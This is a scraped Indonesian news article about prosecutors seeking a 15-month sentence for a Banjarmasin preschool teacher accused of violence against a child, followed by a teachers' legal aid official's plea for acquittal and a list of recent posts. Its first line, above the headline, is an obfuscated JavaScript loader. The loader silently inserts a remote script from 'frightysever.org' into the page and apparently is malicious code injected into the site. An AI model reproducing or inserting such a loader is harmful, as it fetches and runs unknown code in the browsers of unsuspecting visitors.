(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Guru PAUD di Banjarmasin Dituntut 15 Bulan Penjara, LKBH PGRI Kalsel Bereaksi


KANALKALIMANTAN.COM, BANJARMASIN – Kasus dugaan tindak kekerasan anak PAUD di Banjarmasin yang sempat menjadi perhatian publik memasuki babak baru di Pengadilan Negeri (PN) Banjarmasin.

Setelah melewati serangakaian pembuktian, sidang dengan terdakwa seorang guru perempuan berinisial DA memasuki agenda tuntutan, Senin (8/7/2024) siang.

Sidang yang dipimpin ketua majelis hakim Sunwadi SH MH didampingi dua anggota dilaksanakan secara tertutup. Terdakwa DA hanya mengikuti sidang melalui online dari Lapas Perempuan Martapura.

Dalam tuntutan, tim jaksa penuntut umum yang menangani perkara menuntut terdakwa DA dengan pidana penjara selama 1 tahun 3 bulan penjara atau 15 bulan.

Baca juga: Niat Bersihkan Rumah, Dapati Mayat Lelaki Membusuk di Kasturi II Syamsudin Noor

“Menjatuhkan pidana kepada terdakwa dengan pidana penjara 1 tahun 3 bulan dikurangi selama terdakwa berada dalam tahanan sementara, dengan perintah tetap ditahan,” bunyi tuntutan JPU.

Oleh JPU, terdakwa DA dinyatakan terbukti melakukan tindak pidana kekerasan terhadap anak korban.

Dakwaan pertama pasal 80 ayat (2) Undang-Undang Nomor 17 Tahun 2016 tentang Penetapan Perppu Nomor 1 Tahun 2016 tentang Perubahan Kedua atas Undang-Undang Nomor 23 Tahun 2002 tentang Perlindungan Anak menjadi Undang-Undang jo Undang-Undang Nomor 35 Tahun 2014 tentang Perubahan atas Undang-Undang Nomor 23 Tahun 2002 tentang Perlindungan Anak, dianggap telah terbukti.

“Terdakwa terbukti secara sah dan meyakinkan bersalah melakukan kekerasan terhadap anak yang mengakibatkan luka berat,” kata JPU dikutip dalam salinan tuntutan JPU.

Usai sidang tuntutan, Taufik SH penasehat hukum terdakwa mengaku keberatan terhadap tuntutan pidana 1 tahun 3 bulan yang dijatuhkan kepada kliennya.

Baca juga: Dampingi Aditya di Pilwali Banjarbaru, Sekda Said Abdullah Ajukan Pensiun Dini

Pihaknya mengatakan akan mempersiapkan surat pembelaan untuk dibacakan pada sidang berikutnya diruang sidang.

“Kita minta waktu satu minggu untuk pledoi (pembelaan),” kata Taufik.

Di luar ruang sidang, sejumlah guru yang merupakan rekan seprofesi terdakwa kembali memadati PN Banjarmasin. Sebagian guru terlihat mengenakan seragam PGRI.

Sementara di kubu anak korban ada beberapa Srikandi Pemuda Pancasila (PP) Kalsel juga hadir di PN Banjarmasin. Para wanita berseragam loreng ini hadir memberikan dukungan moril terhadap orangtua korban.

Ditemui terpisah, Ketua LKBH PGRI Kalsel Drs Mukhlis Takwin SH MH turut menyoroti dan bereaksi atas perkara yang bergulir.

Mukhlis mengaku sangat menyayangkan, kasus yang melibatkan guru tersebut sampai berlanjut ke meja hijau. Padahal menurutnya, seharusnya perkara tersebut dapat dimediasi atau melalui Restoratif Justice.

Baca juga: Sekda HSU Mewanti-wanti ASN Tidak Terlibat Judi Online

Masih kata Mukhlis, perkara tersebut menurutnya seharusnya diselesaikan terlebih dahulu lewat organisasi profesi yaitu Dewan Kehormatan yang dimiliki PGRI.

“Jelas peristiwa itu dalam proses pembelajaran, jadi ini masuk dalam profesi yang harus ranahnya organisasi profesi kami, melalui dewan kehormatan guru, dan kami punya lembaga itu,” ujarnya.

Ketua LKBH PGRI Kalsel berharap, putusan hakim PN Banjarmasin dapat membebaskan terdakwa dari segala tuntutan JPU. Sebab pihaknya berkeyakinan, terdakwa tidak ada niatan untuk melakukan kekerasan kepada anak korban.

“Kita ingin anak itu (terdakwa) dibebaskan dari segala tuntutan, dia seorang guru honorer belum PNS, masih panjang untuk mendidik anak bangsa, dan juga termasuk guru berprestasi,” pungkasnya. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

Bupati Saidi Mansyur dan Jajaran Pemkab Banjar Peringati Maulid Nabi Muhammad SAW

KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More

5 jam ago

Relawan Muhidin-Hasnur ‘Panaskan Mesin’, Sepakat Tidak Lakukan Kampanye Hitam

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More

7 jam ago

Kabar Alih Fungsi Minggu Raya, Ini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More

8 jam ago

Menjaga Tradisi Banjar Baayun Maulid di Masjid Tertua Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More

9 jam ago

PAFI PC Sorong: Mitra Setia dalam Pengembangan Profesi Farmasi

KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More

16 jam ago

Nurgita Tiyas Sapa Pedagang di Pasar Terapung Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More

1 hari ago

This website uses cookies.